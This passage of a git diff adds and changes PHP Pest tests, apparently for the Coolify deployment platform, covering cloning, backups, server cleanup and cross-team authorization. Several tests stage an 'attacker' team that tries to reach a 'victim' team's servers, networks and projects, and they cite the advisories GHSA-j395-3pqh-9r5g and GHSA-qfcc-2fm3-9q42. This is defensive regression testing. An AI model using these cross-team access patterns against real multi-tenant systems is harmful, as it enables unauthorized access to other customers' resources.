+    ]);
+
+    $team->subscriptionEnded();
+
+    $server->refresh();
+    expect($server->unreachable_count)->toBe(3);
+    expect($server->unreachable_notification_sent)->toBeTrue();
+});
+
+it('cleans up unsubscribed server IP after 7 days via cleanup command', function () {
+    $team = Team::factory()->create();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 3,
+        'unreachable_notification_sent' => true,
+        'updated_at' => now()->subDays(8),
+    ]);
+
+    $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+    $server->refresh();
+    expect($server->ip)->toBe('1.2.3.4');
+});
+
+it('does not clean up unsubscribed server IP within 7 day grace period', function () {
+    $team = Team::factory()->create();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 3,
+        'unreachable_notification_sent' => true,
+        'updated_at' => now()->subDays(3),
+    ]);
+
+    $originalIp = (string) $server->ip;
+
+    $this->artisan('cleanup:unreachable-servers')->assertSuccessful();
+
+    $server->refresh();
+    expect((string) $server->ip)->toBe($originalIp);
+});
+
+it('does not affect servers with active subscriptions', function () {
+    $team = Team::factory()->create();
+    Subscription::create([
+        'team_id' => $team->id,
+        'stripe_invoice_paid' => true,
+    ]);
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+        'unreachable_count' => 0,
+        'unreachable_notification_sent' => false,
+    ]);
+
+    $originalCount = $server->unreachable_count;
+    $originalNotification = $server->unreachable_notification_sent;
+
+    expect($originalCount)->toBe(0);
+    expect($originalNotification)->toBeFalse();
+});

tests/Feature/ClonePersistentVolumeUuidTest.php

@@ -1,15 +1,18 @@
 <?php
 
-use App\Livewire\Project\Shared\ResourceOperations;
 use App\Models\Application;
+use App\Models\ApplicationPreview;
+use App\Models\ApplicationSetting;
 use App\Models\Environment;
 use App\Models\LocalPersistentVolume;
 use App\Models\Project;
+use App\Models\ScheduledTask;
 use App\Models\Server;
-use App\Models\StandaloneDocker;
 use App\Models\Team;
 use App\Models\User;
-use Livewire\Livewire;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
 
 beforeEach(function () {
     $this->user = User::factory()->create();
@@ -17,7 +20,7 @@ beforeEach(function () {
     $this->user->teams()->attach($this->team, ['role' => 'owner']);
 
     $this->server = Server::factory()->create(['team_id' => $this->team->id]);
-    $this->destination = StandaloneDocker::factory()->create(['server_id' => $this->server->id]);
+    $this->destination = $this->server->standaloneDockers()->firstOrFail();
     $this->project = Project::factory()->create(['team_id' => $this->team->id]);
     $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
 
@@ -25,8 +28,13 @@ beforeEach(function () {
         'environment_id' => $this->environment->id,
         'destination_id' => $this->destination->id,
         'destination_type' => $this->destination->getMorphClass(),
+        'redirect' => 'both',
     ]);
 
+    $this->application->settings->fill([
+        'is_container_label_readonly_enabled' => false,
+    ])->save();
+
     $this->actingAs($this->user);
     session(['currentTeam' => $this->team]);
 });
@@ -82,3 +90,71 @@ test('cloning application with multiple persistent volumes generates unique uuid
     expect($clonedUuids)->each->not->toBeIn($originalUuids);
     expect(array_unique($clonedUuids))->toHaveCount(2);
 });
+
+test('cloning application reassigns settings to the cloned application', function () {
+    $this->application->settings->fill([
+        'is_static' => true,
+        'is_spa' => true,
+        'is_build_server_enabled' => true,
+    ])->save();
+
+    $newApp = clone_application($this->application, $this->destination, [
+        'environment_id' => $this->environment->id,
+    ]);
+
+    $sourceSettingsCount = ApplicationSetting::query()
+        ->where('application_id', $this->application->id)
+        ->count();
+    $clonedSettings = ApplicationSetting::query()
+        ->where('application_id', $newApp->id)
+        ->first();
+
+    expect($sourceSettingsCount)->toBe(1)
+        ->and($clonedSettings)->not->toBeNull()
+        ->and($clonedSettings?->application_id)->toBe($newApp->id)
+        ->and($clonedSettings?->is_static)->toBeTrue()
+        ->and($clonedSettings?->is_spa)->toBeTrue()
+        ->and($clonedSettings?->is_build_server_enabled)->toBeTrue();
+});
+
+test('cloning application reassigns scheduled tasks and previews to the cloned application', function () {
+    $scheduledTask = ScheduledTask::create([
+        'uuid' => 'scheduled-task-original',
+        'application_id' => $this->application->id,
+        'team_id' => $this->team->id,
+        'name' => 'nightly-task',
+        'command' => 'php artisan schedule:run',
+        'frequency' => '* * * * *',
+        'container' => 'app',
+        'timeout' => 120,
+    ]);
+
+    $preview = ApplicationPreview::create([
+        'uuid' => 'preview-original',
+        'application_id' => $this->application->id,
+        'pull_request_id' => 123,
+        'pull_request_html_url' => 'https://example.com/pull/123',
+        'fqdn' => 'https://preview.example.com',
+        'status' => 'running',
+    ]);
+
+    $newApp = clone_application($this->application, $this->destination, [
+        'environment_id' => $this->environment->id,
+    ]);
+
+    $clonedTask = ScheduledTask::query()
+        ->where('application_id', $newApp->id)
+        ->first();
+    $clonedPreview = ApplicationPreview::query()
+        ->where('application_id', $newApp->id)
+        ->first();
+
+    expect($clonedTask)->not->toBeNull()
+        ->and($clonedTask?->uuid)->not->toBe($scheduledTask->uuid)
+        ->and($clonedTask?->application_id)->toBe($newApp->id)
+        ->and($clonedTask?->team_id)->toBe($this->team->id)
+        ->and($clonedPreview)->not->toBeNull()
+        ->and($clonedPreview?->uuid)->not->toBe($preview->uuid)
+        ->and($clonedPreview?->application_id)->toBe($newApp->id)
+        ->and($clonedPreview?->status)->toBe('exited');
+});

tests/Feature/ComposePreviewFqdnTest.php

@@ -14,7 +14,7 @@ it('populates fqdn from docker_compose_domains after generate_preview_fqdn_compo
         ]),
     ]);
 
-    $preview = ApplicationPreview::forceCreate([
+    $preview = ApplicationPreview::create([
         'application_id' => $application->id,
         'pull_request_id' => 42,
         'pull_request_html_url' => 'https://github.com/example/repo/pull/42',
@@ -39,7 +39,7 @@ it('populates fqdn with multiple domains from multiple services', function () {
         ]),
     ]);
 
-    $preview = ApplicationPreview::forceCreate([
+    $preview = ApplicationPreview::create([
         'application_id' => $application->id,
         'pull_request_id' => 7,
         'pull_request_html_url' => 'https://github.com/example/repo/pull/7',
@@ -65,7 +65,7 @@ it('sets fqdn to null when no domains are configured', function () {
         ]),
     ]);
 
-    $preview = ApplicationPreview::forceCreate([
+    $preview = ApplicationPreview::create([
         'application_id' => $application->id,
         'pull_request_id' => 99,
         'pull_request_html_url' => 'https://github.com/example/repo/pull/99',

tests/Feature/CoolifyTaskRetryTest.php

@@ -1,70 +0,0 @@
-<?php
-
-use App\Jobs\CoolifyTask;
-use App\Models\Server;
-use Illuminate\Foundation\Testing\RefreshDatabase;
-use Illuminate\Support\Facades\Queue;
-
-uses(RefreshDatabase::class);
-
-it('can dispatch CoolifyTask successfully', function () {
-    // Skip if no servers available
-    $server = Server::where('ip', '!=', '1.2.3.4')->first();
-
-    if (! $server) {
-        $this->markTestSkipped('No servers available for testing');
-    }
-
-    Queue::fake();
-
-    // Create an activity for the task
-    $activity = activity()
-        ->withProperties([
-            'server_uuid' => $server->uuid,
-            'command' => 'echo "test"',
-            'type' => 'inline',
-        ])
-        ->event('inline')
-        ->log('[]');
-
-    // Dispatch the job
-    CoolifyTask::dispatch(
-        activity: $activity,
-        ignore_errors: false,
-        call_event_on_finish: null,
-        call_event_data: null
-    );
-
-    // Assert job was dispatched
-    Queue::assertPushed(CoolifyTask::class);
-});
-
-it('has correct retry configuration on CoolifyTask', function () {
-    $server = Server::where('ip', '!=', '1.2.3.4')->first();
-
-    if (! $server) {
-        $this->markTestSkipped('No servers available for testing');
-    }
-
-    $activity = activity()
-        ->withProperties([
-            'server_uuid' => $server->uuid,
-            'command' => 'echo "test"',
-            'type' => 'inline',
-        ])
-        ->event('inline')
-        ->log('[]');
-
-    $job = new CoolifyTask(
-        activity: $activity,
-        ignore_errors: false,
-        call_event_on_finish: null,
-        call_event_data: null
-    );
-
-    // Assert retry configuration
-    expect($job->tries)->toBe(3);
-    expect($job->maxExceptions)->toBe(1);
-    expect($job->timeout)->toBe(600);
-    expect($job->backoff())->toBe([30, 90, 180]);
-});

tests/Feature/CreateScheduledBackupValidationTest.php

@@ -0,0 +1,138 @@
+<?php
+
+use App\Livewire\Project\Database\CreateScheduledBackup;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\S3Storage;
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+function createDatabaseForScheduledBackupTest(Team $team): StandalonePostgresql
+{
+    $server = Server::factory()->create(['team_id' => $team->id]);
+    $destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
+    $project = Project::factory()->create(['team_id' => $team->id]);
+    $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+    return StandalonePostgresql::create([
+        'name' => 'pg-scheduled-backup-validation',
+        'image' => 'postgres:16-alpine',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'postgres',
+        'environment_id' => $environment->id,
+        'destination_id' => $destination->id,
+        'destination_type' => $destination->getMorphClass(),
+    ]);
+}
+
+function createS3StorageForTeam(Team $team, string $name = 'Test S3'): S3Storage
+{
+    return S3Storage::create([
+        'name' => $name,
+        'region' => 'us-east-1',
+        'key' => 'test-key',
+        'secret' => 'test-secret',
+        'bucket' => 'test-bucket',
+        'endpoint' => 'https://s3.example.com',
+        'is_usable' => true,
+        'team_id' => $team->id,
+    ]);
+}
+
+beforeEach(function () {
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->user->teams()->attach($this->team, ['role' => 'owner']);
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+});
+
+it('rejects enabling S3 backup without a selected S3 storage', function () {
+    $database = createDatabaseForScheduledBackupTest($this->team);
+
+    Livewire::test(CreateScheduledBackup::class, ['database' => $database])
+        ->set('frequency', '0 0 * * *')
+        ->set('saveToS3', true)
+        ->set('s3StorageId', null)
+        ->call('submit')
+        ->assertDispatched('error');
+
+    expect(ScheduledDatabaseBackup::count())->toBe(0);
+});
+
+it('rejects an S3 storage not owned by the current team', function () {
+    $database = createDatabaseForScheduledBackupTest($this->team);
+
+    $foreignS3 = createS3StorageForTeam(Team::factory()->create(), 'Foreign S3');
+
+    Livewire::test(CreateScheduledBackup::class, ['database' => $database])
+        ->set('frequency', '0 0 * * *')
+        ->set('saveToS3', true)
+        ->set('s3StorageId', $foreignS3->id)
+        ->call('submit')
+        ->assertDispatched('error');
+
+    expect(ScheduledDatabaseBackup::count())->toBe(0);
+});
+
+it('rejects an S3 storage that is reassigned after the component is mounted', function () {
+    $database = createDatabaseForScheduledBackupTest($this->team);
+    $s3 = createS3StorageForTeam($this->team);
+
+    $component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
+        ->set('frequency', '0 0 * * *')
+        ->set('saveToS3', true)
+        ->set('s3StorageId', $s3->id);
+
+    $s3->update(['team_id' => Team::factory()->create()->id]);
+
+    $component
+        ->call('submit')
+        ->assertDispatched('error');
+
+    expect(ScheduledDatabaseBackup::count())->toBe(0);
+});
+
+it('rejects an S3 storage that becomes unusable after the component is mounted', function () {
+    $database = createDatabaseForScheduledBackupTest($this->team);
+    $s3 = createS3StorageForTeam($this->team);
+
+    $component = Livewire::test(CreateScheduledBackup::class, ['database' => $database])
+        ->set('frequency', '0 0 * * *')
+        ->set('saveToS3', true)
+        ->set('s3StorageId', $s3->id);
+
+    $s3->update(['is_usable' => false]);
+
+    $component
+        ->call('submit')
+        ->assertDispatched('error');
+
+    expect(ScheduledDatabaseBackup::count())->toBe(0);
+});
+
+it('creates a scheduled backup with a valid team-owned S3 storage', function () {
+    $database = createDatabaseForScheduledBackupTest($this->team);
+    $s3 = createS3StorageForTeam($this->team);
+
+    Livewire::test(CreateScheduledBackup::class, ['database' => $database])
+        ->set('frequency', '0 0 * * *')
+        ->set('saveToS3', true)
+        ->set('s3StorageId', $s3->id)
+        ->call('submit')
+        ->assertDispatched('refreshScheduledBackups');
+
+    $backup = ScheduledDatabaseBackup::first();
+    expect($backup)->not->toBeNull();
+    expect($backup->save_s3)->toBeTruthy();
+    expect($backup->s3_storage_id)->toBe($s3->id);
+});

tests/Feature/CrossTeamDestinationAttachTest.php

@@ -0,0 +1,232 @@
+<?php
+
+use App\Actions\Docker\GetContainersStatus;
+use App\Livewire\Project\Shared\Destination;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Facades\Queue;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Queue::fake();
+
+    InstanceSettings::unguarded(fn () => InstanceSettings::query()->create(['id' => 0]));
+
+    // Attacker: Team A
+    $this->userA = User::factory()->create();
+    $this->teamA = Team::factory()->create();
+    $this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
+
+    $this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
+    $this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
+    $this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
+    $this->destinationA = StandaloneDocker::factory()->create([
+        'server_id' => $this->serverA->id,
+        'name' => 'dest-a-'.fake()->unique()->word(),
+        'network' => 'coolify-a-'.fake()->unique()->word(),
+    ]);
+
+    $this->applicationA = Application::factory()->create([
+        'environment_id' => $this->environmentA->id,
+        'destination_id' => $this->destinationA->id,
+        'destination_type' => StandaloneDocker::class,
+    ]);
+
+    // A second usable destination on Team A's own server, used for positive-path tests.
+    $this->serverA2 = Server::factory()->create(['team_id' => $this->teamA->id]);
+    $this->destinationA2 = StandaloneDocker::factory()->create([
+        'server_id' => $this->serverA2->id,
+        'name' => 'dest-a2-'.fake()->unique()->word(),
+        'network' => 'coolify-a2-'.fake()->unique()->word(),
+    ]);
+
+    // Victim: Team B
+    $this->userB = User::factory()->create();
+    $this->teamB = Team::factory()->create();
+    $this->userB->teams()->attach($this->teamB, ['role' => 'owner']);
+
+    $this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
+    $this->destinationB = StandaloneDocker::factory()->create([
+        'server_id' => $this->serverB->id,
+        'name' => 'dest-b-'.fake()->unique()->word(),
+        'network' => 'coolify-b-'.fake()->unique()->word(),
+    ]);
+
+    // Act as attacker (Team A)
+    $this->actingAs($this->userA);
+    session(['currentTeam' => $this->teamA]);
+});
+
+afterEach(function () {
+    GetContainersStatus::clearFake();
+});
+
+describe('Destination::addServer GHSA-j395-3pqh-9r5g', function () {
+    test('cannot attach another team\'s server + network to own application', function () {
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('addServer', $this->destinationB->id, $this->serverB->id);
+        } catch (Throwable $e) {
+            // handleError on ModelNotFoundException calls abort(404); pivot assertion is source of truth.
+        }
+
+        expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
+        expect($this->applicationA->fresh()->additional_servers)->toHaveCount(0);
+    });
+
+    test('cannot attach own network paired with another team\'s server', function () {
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('addServer', $this->destinationA2->id, $this->serverB->id);
+        } catch (Throwable $e) {
+        }
+
+        expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
+    });
+
+    test('cannot attach another team\'s network paired with own server', function () {
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('addServer', $this->destinationB->id, $this->serverA2->id);
+        } catch (Throwable $e) {
+        }
+
+        expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
+    });
+
+    test('cannot attach own network paired with wrong own server', function () {
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('addServer', $this->destinationA2->id, $this->serverA->id);
+        } catch (Throwable $e) {
+        }
+
+        expect($this->applicationA->fresh()->additional_networks)->toHaveCount(0);
+    });
+
+    test('can attach own team\'s server + network to own application', function () {
+        Livewire::test(Destination::class, ['resource' => $this->applicationA])
+            ->call('addServer', $this->destinationA2->id, $this->serverA2->id);
+
+        $additional = $this->applicationA->fresh()->additional_networks;
+        expect($additional)->toHaveCount(1);
+        expect($additional->first()->id)->toBe($this->destinationA2->id);
+        expect($additional->first()->pivot->server_id)->toBe($this->serverA2->id);
+    });
+});
+
+describe('Destination::promote GHSA-j395-3pqh-9r5g', function () {
+    test('cannot promote another team\'s network as the application\'s main destination', function () {
+        $originalDestinationId = $this->applicationA->destination_id;
+
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('promote', $this->destinationB->id, $this->serverB->id);
+        } catch (Throwable $e) {
+        }
+
+        expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
+    });
+
+    test('cannot promote own network paired with wrong own server', function () {
+        $originalDestinationId = $this->applicationA->destination_id;
+
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('promote', $this->destinationA2->id, $this->serverA->id);
+        } catch (Throwable $e) {
+        }
+
+        expect($this->applicationA->fresh()->destination_id)->toBe($originalDestinationId);
+    });
+
+    test('can promote own team network and preserve previous main as additional network', function () {
+        $this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
+
+        Livewire::test(Destination::class, ['resource' => $this->applicationA])
+            ->call('promote', $this->destinationA2->id, $this->serverA2->id);
+
+        $application = $this->applicationA->fresh();
+        $additional = $application->additional_networks;
+
+        expect($application->destination_id)->toBe($this->destinationA2->id);
+        expect($additional)->toHaveCount(1);
+        expect($additional->first()->id)->toBe($this->destinationA->id);
+        expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
+    });
+
+    test('refresh failures after promote do not roll back promoted destination', function () {
+        $this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
+
+        GetContainersStatus::shouldRun()
+            ->once()
+            ->andThrow(new RuntimeException('refresh failed'));
+
+        try {
+            Livewire::test(Destination::class, ['resource' => $this->applicationA])
+                ->call('promote', $this->destinationA2->id, $this->serverA2->id);
+        } catch (Throwable $e) {
+            // The refresh failure is intentionally outside the transaction; persistence is the assertion.
+        }
+
+        $application = $this->applicationA->fresh();
+        $additional = $application->additional_networks;
+
+        expect($application->destination_id)->toBe($this->destinationA2->id);
+        expect($additional)->toHaveCount(1);
+        expect($additional->first()->id)->toBe($this->destinationA->id);
+        expect($additional->first()->pivot->server_id)->toBe($this->serverA->id);
+    });
+
+    test('only detaches the promoted network for the selected pivot server', function () {
+        $this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
+        $this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
+
+        Livewire::test(Destination::class, ['resource' => $this->applicationA])
+            ->call('promote', $this->destinationA2->id, $this->serverA2->id);
+
+        expect(DB::table('additional_destinations')
+            ->where('application_id', $this->applicationA->id)
+            ->where('standalone_docker_id', $this->destinationA2->id)
+            ->where('server_id', $this->serverA->id)
+            ->exists())->toBeTrue();
+
+        expect(DB::table('additional_destinations')
+            ->where('application_id', $this->applicationA->id)
+            ->where('standalone_docker_id', $this->destinationA2->id)
+            ->where('server_id', $this->serverA2->id)
+            ->exists())->toBeFalse();
+    });
+});
+
+describe('Destination::removeServer', function () {
+    test('only detaches the removed network for the selected pivot server', function () {
+        $this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA2->id]);
+        $this->applicationA->additional_networks()->attach($this->destinationA2->id, ['server_id' => $this->serverA->id]);
+
+        Livewire::test(Destination::class, ['resource' => $this->applicationA])
+            ->call('removeServer', $this->destinationA2->id, $this->serverA2->id, 'password');
+
+        expect(DB::table('additional_destinations')
+            ->where('application_id', $this->applicationA->id)
+            ->where('standalone_docker_id', $this->destinationA2->id)
+            ->where('server_id', $this->serverA->id)
+            ->exists())->toBeTrue();
+
+        expect(DB::table('additional_destinations')
+            ->where('application_id', $this->applicationA->id)
+            ->where('standalone_docker_id', $this->destinationA2->id)
+            ->where('server_id', $this->serverA2->id)
+            ->exists())->toBeFalse();
+    });
+});

tests/Feature/CrossTeamIdorServerProjectTest.php

@@ -1,15 +1,19 @@
 <?php
 
+use App\Enums\ApplicationDeploymentStatus;
 use App\Livewire\Boarding\Index as BoardingIndex;
 use App\Livewire\GlobalSearch;
 use App\Livewire\Project\CloneMe;
 use App\Livewire\Project\DeleteProject;
+use App\Models\Application;
+use App\Models\ApplicationDeploymentQueue;
 use App\Models\Environment;
 use App\Models\Project;
 use App\Models\Server;
 use App\Models\StandaloneDocker;
 use App\Models\Team;
 use App\Models\User;
+use Illuminate\Database\Eloquent\ModelNotFoundException;
 use Illuminate\Foundation\Testing\RefreshDatabase;
 use Livewire\Livewire;
 
@@ -39,7 +43,7 @@ beforeEach(function () {
     session(['currentTeam' => $this->teamA]);
 });
 
-describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('Boarding Server IDOR', function () {
     test('boarding mount cannot load server from another team via selectedExistingServer', function () {
         $component = Livewire::test(BoardingIndex::class, [
             'selectedServerType' => 'remote',
@@ -62,7 +66,7 @@ describe('Boarding Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
     });
 });
 
-describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('Boarding Project IDOR', function () {
     test('boarding mount cannot load project from another team via selectedProject', function () {
         $component = Livewire::test(BoardingIndex::class, [
             'selectedProject' => $this->projectB->id,
@@ -91,7 +95,7 @@ describe('Boarding Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
     });
 });
 
-describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('GlobalSearch Server IDOR', function () {
     test('loadDestinations cannot access server from another team', function () {
         $component = Livewire::test(GlobalSearch::class)
             ->set('selectedServerId', $this->serverB->id)
@@ -102,7 +106,7 @@ describe('GlobalSearch Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
     });
 });
 
-describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('GlobalSearch Project IDOR', function () {
     test('loadEnvironments cannot access project from another team', function () {
         $component = Livewire::test(GlobalSearch::class)
             ->set('selectedProjectUuid', $this->projectB->uuid)
@@ -113,11 +117,11 @@ describe('GlobalSearch Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
     });
 });
 
-describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('DeleteProject IDOR', function () {
     test('cannot mount DeleteProject with project from another team', function () {
         // Should throw ModelNotFoundException (404) because team-scoped query won't find it
         Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
-    })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+    })->throws(ModelNotFoundException::class);
 
     test('can mount DeleteProject with own team project', function () {
         $component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
@@ -126,14 +130,14 @@ describe('DeleteProject IDOR (GHSA-qfcc-2fm3-9q42)', function () {
     });
 });
 
-describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('CloneMe Project IDOR', function () {
     test('cannot mount CloneMe with project UUID from another team', function () {
         // Should throw ModelNotFoundException because team-scoped query won't find it
         Livewire::test(CloneMe::class, [
             'project_uuid' => $this->projectB->uuid,
             'environment_uuid' => $this->environmentB->uuid,
         ]);
-    })->throws(\Illuminate\Database\Eloquent\ModelNotFoundException::class);
+    })->throws(ModelNotFoundException::class);
 
     test('can mount CloneMe with own team project UUID', function () {
         $component = Livewire::test(CloneMe::class, [
@@ -145,27 +149,27 @@ describe('CloneMe Project IDOR (GHSA-qfcc-2fm3-9q42)', function () {
     });
 });
 
-describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
+describe('DeployController API Server IDOR', function () {
     test('deploy cancel API cannot access build server from another team', function () {
         // Create a deployment queue entry that references Team B's server as build_server
-        $application = \App\Models\Application::factory()->create([
+        $application = Application::factory()->create([
             'environment_id' => $this->environmentA->id,
             'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
             'destination_type' => StandaloneDocker::class,
         ]);
 
-        $deployment = \App\Models\ApplicationDeploymentQueue::create([
+        $deployment = ApplicationDeploymentQueue::create([
             'application_id' => $application->id,
-            'deployment_uuid' => 'test-deploy-' . fake()->uuid(),
+            'deployment_uuid' => 'test-deploy-'.fake()->uuid(),
             'server_id' => $this->serverA->id,
             'build_server_id' => $this->serverB->id, // Cross-team build server
-            'status' => \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value,
+            'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
         ]);
 
         $token = $this->userA->createToken('test-token', ['*']);
 
         $response = $this->withHeaders([
-            'Authorization' => 'Bearer ' . $token->plainTextToken,
+            'Authorization' => 'Bearer '.$token->plainTextToken,
         ])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
 
         // The cancellation should proceed but the build_server should NOT be found
@@ -176,7 +180,7 @@ describe('DeployController API Server IDOR (GHSA-qfcc-2fm3-9q42)', function () {
         // Verify the deployment was cancelled
         $deployment->refresh();
         expect($deployment->status)->toBe(
-            \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value
+            ApplicationDeploymentStatus::CANCELLED_BY_USER->value
         );
     });
 });

tests/Feature/DatabaseBackupCreationApiTest.php

@@ -1,145 +0,0 @@
-<?php
-
-use App\Models\StandalonePostgresql;
-use App\Models\Team;
-use App\Models\User;
-use Illuminate\Foundation\Testing\RefreshDatabase;
-
-uses(RefreshDatabase::class);
-
-beforeEach(function () {
-    // Create a team with owner
-    $this->team = Team::factory()->create();
-    $this->user = User::factory()->create();
-    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
-
-    // Create an API token for the user
-    $this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
-    $this->bearerToken = $this->token->plainTextToken;
-
-    // Mock a database - we'll use Mockery to avoid needing actual database setup
-    $this->database = \Mockery::mock(StandalonePostgresql::class);
-    $this->database->shouldReceive('getAttribute')->with('id')->andReturn(1);
-    $this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid');
-    $this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb');
-    $this->database->shouldReceive('type')->andReturn('standalone-postgresql');
-    $this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
-});
-
-afterEach(function () {
-    \Mockery::close();
-});
-
-describe('POST /api/v1/databases/{uuid}/backups', function () {
-    test('creates backup configuration with minimal required fields', function () {
-        // This is a unit-style test using mocks to avoid database dependency
-        // For full integration testing, this should be run inside Docker
-
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'daily',
-        ]);
-
-        // Since we're mocking, this test verifies the endpoint exists and basic validation
-        // Full integration tests should be run in Docker environment
-        expect($response->status())->toBeIn([201, 404, 422]);
-    });
-
-    test('validates frequency is required', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'enabled' => true,
-        ]);
-
-        $response->assertStatus(422);
-        $response->assertJsonValidationErrors(['frequency']);
-    });
-
-    test('validates s3_storage_uuid required when save_s3 is true', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'daily',
-            'save_s3' => true,
-        ]);
-
-        // Should fail validation because s3_storage_uuid is missing
-        expect($response->status())->toBeIn([404, 422]);
-    });
-
-    test('rejects invalid frequency format', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'invalid-frequency',
-        ]);
-
-        expect($response->status())->toBeIn([404, 422]);
-    });
-
-    test('rejects request without authentication', function () {
-        $response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'daily',
-        ]);
-
-        $response->assertStatus(401);
-    });
-
-    test('validates retention fields are integers with minimum 0', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => 'daily',
-            'database_backup_retention_amount_locally' => -1,
-        ]);
-
-        expect($response->status())->toBeIn([404, 422]);
-    });
-
-    test('accepts valid cron expressions', function () {
-        $response = $this->withHeaders([
-            'Authorization' => 'Bearer '.$this->bearerToken,
-            'Content-Type' => 'application/json',
-        ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-            'frequency' => '0 2 * * *', // Daily at 2 AM
-        ]);
-
-        // Will fail with 404 because database doesn't exist, but validates the request format
-        expect($response->status())->toBeIn([201, 404, 422]);
-    });
-
-    test('accepts predefined frequency values', function () {
-        $frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly'];
-
-        foreach ($frequencies as $frequency) {
-            $response = $this->withHeaders([
-                'Authorization' => 'Bearer '.$this->bearerToken,
-                'Content-Type' => 'application/json',
-            ])->postJson('/api/v1/databases/test-db-uuid/backups', [
-                'frequency' => $frequency,
-            ]);
-
-            // Will fail with 404 because database doesn't exist, but validates the request format
-            expect($response->status())->toBeIn([201, 404, 422]);
-        }
-    });
-
